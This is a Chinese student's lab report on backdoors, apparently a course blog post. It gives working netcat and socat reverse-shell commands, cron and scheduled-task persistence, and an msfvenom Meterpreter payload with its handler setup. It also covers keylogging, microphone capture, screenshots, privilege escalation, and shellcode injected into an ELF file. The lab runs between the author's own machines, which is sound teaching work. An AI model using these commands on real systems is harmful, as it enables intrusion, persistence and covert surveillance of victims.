Exp2-后门原理与实践

Exp2-后门原理与实践

0.基础问题

  • 例举你能想到的一个后门进入到你系统中的可能方式?

    答:①点击陌生人发来的未知网站链接 ②打开未知来源的U盘中的文件

  • 例举你知道的后门如何启动起来(win及linux)的方式?

    答:①win:本实验中的通过定时任务启动 ②:linux:本实验中通过修改cron文件定时启动

  • Meterpreter有哪些给你映像深刻的功能?

    答:它能非常容易地生成攻击程序,输入一条指令就能获取音频/摄像头/屏幕等信息,被攻击者将毫无隐私

  • 如何发现自己有系统有没有被安装后门?

    答:时刻注意自己的电脑有没有异常情况,如下载了不知名软件等。还可以查看任务管理器中有没有陌生任务在运行。

1.实验准备

1.1 基础知识

  • ncat
ncat即Netcat。Netcat用于从TCP/UDP连接中读取或发送网络数据。
ncat可用来做端口扫描,端口转发,连接远程系统等

参数解释:
-l:监听端口,监听入站信息
-p:后跟本地端口号
-v:显示端口的信息
-vv:显示端口更详细的信息 
  • socat
socat可以看做是 Netcat 的加强版。
Socat 的主要特点就是在两个数据流之间建立双向通道,且支持众多协议和链接方式,如IP,TCP,UDP,IPv6,pipe,exec,system,open,proxy,openssl,socket等。
功能:端口转发、端口映射、端口监听、tcp/udp连接、文件传送、nat映射、使用openssl加密传输
  • Meterpreter
Meterpreter号称“黑客瑞士军刀”,有五大模块功能:
1.渗透攻击(Exploit),指由攻击者或渗透测试者利用一个系统、应用或服务中的安全漏洞,所进行的攻击行为。
2.攻击载荷(Payload),是我们期望目标系统在被渗透攻击之后去执行的代码。
3.Shellcode,是在渗透攻击是作为攻击载荷运行的一组机器指令,通常用汇编语言编写。
4.模块(Module),指Metasploit框架中所使用的一段软件代码组件,可用于发起渗透攻击或执行某些辅助攻击动作。
5.监听器(Listener),是Metasploit中用来等待网络连接的组件。

1.2 环境准备

因为本次实验需要演示两主机间互相连接、反弹连接、注入后门等操作,因此需要先查询主机ip地址

本机ip地址为192.168.1.107
kali虚拟机ip地址为192.168.233.136

2.实验内容

2.1使用netcat获取主机操作Shell,cron启动

  • Windows获取Linux Shell

    首先在Windows端启动ncat监听1312(我的学号)端口ncat.exe -l -p 1312

再在Linux虚拟机连接Windows,HOST:192.168.1.107 端口PORT:1312
输入nc 192.168.1.107 1312 -e /bin/sh

-e 选项执行shell程序

windows下获得一个linux shell,可运行任何指令,如ls

  • Linux获取Windows Shell

    首先在Linux端启动ncat监听1312(我的学号)端口
    nc -l -p 1312

再在Windows连接Linux,HOST:192.168.233.136 端口PORT:1312
输入ncat.exe -e cmd.exe 192.168.233.136 1312

Linux成功获得Windows cmd,运行dir

  • cron启动

    先在Linux上编写一条定时任务,让反弹连接定时启动

    crontab -e
    -Cron是Linux下的定时任务,每一分钟运行一次,根据配置文件执行预设的指令。
    -crontab指令增加一条定时任务
    -e表示编辑
    -输入2表示选择vim编辑器
    
    crontab命令选项:
    -u指定一个用户
    -l列出某个用户的任务计划
    -r删除某个用户的任务(不添加用户即删除所有的任务)
    -e编辑某个用户的任务
    
    cron文件语法:
    分     小时    日       月       星期     命令
    0-59   0-23   1-31   1-12     0-6     command     (取值范围,0表示周日一般一行对应一个任务)
    Minute  Hour   Day    Month   Dayofweek   command
    分钟      小时      天     月        天每星期 
    

我做到这一步时是19:55,所以我将

59 * * * * /bin/netcat 192.168.233.136 1312 -e  /bin/sh

写入,让反向连接在19:59启动

等待任务启动后,cmd成功获得Linux shell,执行ls、pwd和whoami指令

2.2使用socat获取主机操作Shell, 任务计划启动

  • Windows获取Linux Shell

    kali中输入socat tcp-listen:1312 system:bash,pty,stderr开放端口1312

windows输入socat - tcp:192.168.233.136:1312连接kali虚拟机,成功获得shell

  • Linux获取Windows Shell

    windows cmdz中输入socat tcp-listen:1312 system:bash,pty,stderr开放1312端口

kali虚拟机输入socat - tcp:192.168.1.107:1312连接windows,成功获取cmd

  • 任务计划启动

    打开 计算机管理,创建任务,我将其命名为shiyan2

触发器设置为工作站锁定时

在操作中,导入解压后的 socat.exe 的路径

在添加参数中填入 tcp-listen:1312 exec:cmd.exe,pty,stderr (把 cmd.exe 绑定到端口 8330 ,同时把 cmd.exe 的 stderr 重定向到 stdout 上),创建完成之后,点击确定。

创建完成之后,按 Windows+L 快捷键锁定计算机,再次打开时,双击 任务计划程序库 可以发现之前创建的任务已经开始运行

Linux成功获得Windows Shell

2.3使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell

在Kali上用MSF meterpreter生成后门可执行程序20201312_backdoor.exe

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.233.136 LPORT=1312 -f exe > 20201312_backdoor.exe
-LHOST为反弹回连的IP,在这里是要Windows主动连接kali,即反弹给Kali,也就是Kali的IP:192.168.203.128
-LPORT是回连端口
-p 使用payload。
-payload翻译为有效载荷,就是被运输有东西。这里windows/meterpreter/reverse_tcp就是一段shellcode。
-f 生成文件的类型
-> 输出文件名

在Windows上监听1312端口等待接收可执行文件20202211_backdoor.exe

ncat.exe -l 1312 >20201312_backdoor.exe

在Kali上将生成的20201312_backdoor.exe传送给Windows

nc 192.168.1.107 1312 < 20201312_backdoor.exe

配置监听模块

use exploit/multi/handler  #使用监听模块,设置payload
set payload windows/meterpreter/reverse_tcp #使用和生成后门程序时相同的payload
set LHOST 192.168.233.136  #KaliIP,和生成后门程序时指定的IP相同
set LPORT 1312

输入exploit

kali开始监听,在Windows启动20201312_backdoor.exe后门程序(双击)
kali成功获取到Windows Shell

2.4使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权

本题前面操作与3.3类似,即通过Windows运行后门程序,kali在msf控制台监听来获得Windows Shell
配置与上述相同:

获取麦克风音频

输入record_mic

由于我的电脑没有摄像头,所以没有获取摄像头图片

获取击键记录

开始获取:keyscan_start
结束获取:keyscan_dump

获取主机屏幕图像

输入screenshot

提权

输入getuid查看当前用户
输入getsystem提取权限

2.5 加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell

使用msf生成指定需要的shellcode并注入pwn20201312

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.233.136 LPORT=1312 -x pwn20201312 -f elf > pwntest
输入execstack -s pwn20201312指令来设置堆栈可执行
输入echo "0" > /proc/sys/kernel/randomize_va_space关闭地址随机化

输入msfconsole进入msf控制台

配置监听模块

use exploit/multi/handler  #使用监听模块,设置payload
set payload linux/x86/meterpreter/reverse_tcp 
set LHOST 192.168.233.136  #KaliIP,和生成后门程序时指定的IP相同
set LPORT 1312
输入exploit进行监听

再打开另一个终端进入相应文件夹,输入 chmod +x pwntest 否则会出现权限不够无法运行的问题

接着输入运行 ./pwntest

终端1进行响应,攻击成功,输入ls打印桌面文件

3.问题与解决

1.在做实验前我没有关闭系统自带的防火墙,所以实验过程中使用ncat和socat时都弹出警告提示阻止。向windows传送的后门程序20201312_backdoor.exe直接被系统删除了,关闭后才成功传输。

2.在做加分项时,输入echo "0" > /proc/sys/kernel/randomize_va_space关闭地址随机化时报错,是权限不够导致,输入sudo su进入root权限后成功

4.实验总结与体会

这次实验相对于第一次实验来说不是特别顺利,因为涉及到虚拟机和主机之间互相连接,ip地址一旦弄错就会导致实验失败。并且中途我从主楼换到了宿舍,主机ip地址产生了变化,为了不弄混我只能重新做一遍,所以我们这门课的实验还是一次性用一整段时间做完比较好。实验过程中对于什么时候该用哪个ip地址我区分得还不是很清楚,归根结底还是理论掌握得不够好,有待加强。

posted @ 2023-03-22 21:34  20201312许铮怡  阅读(67)  评论(0编辑  收藏  举报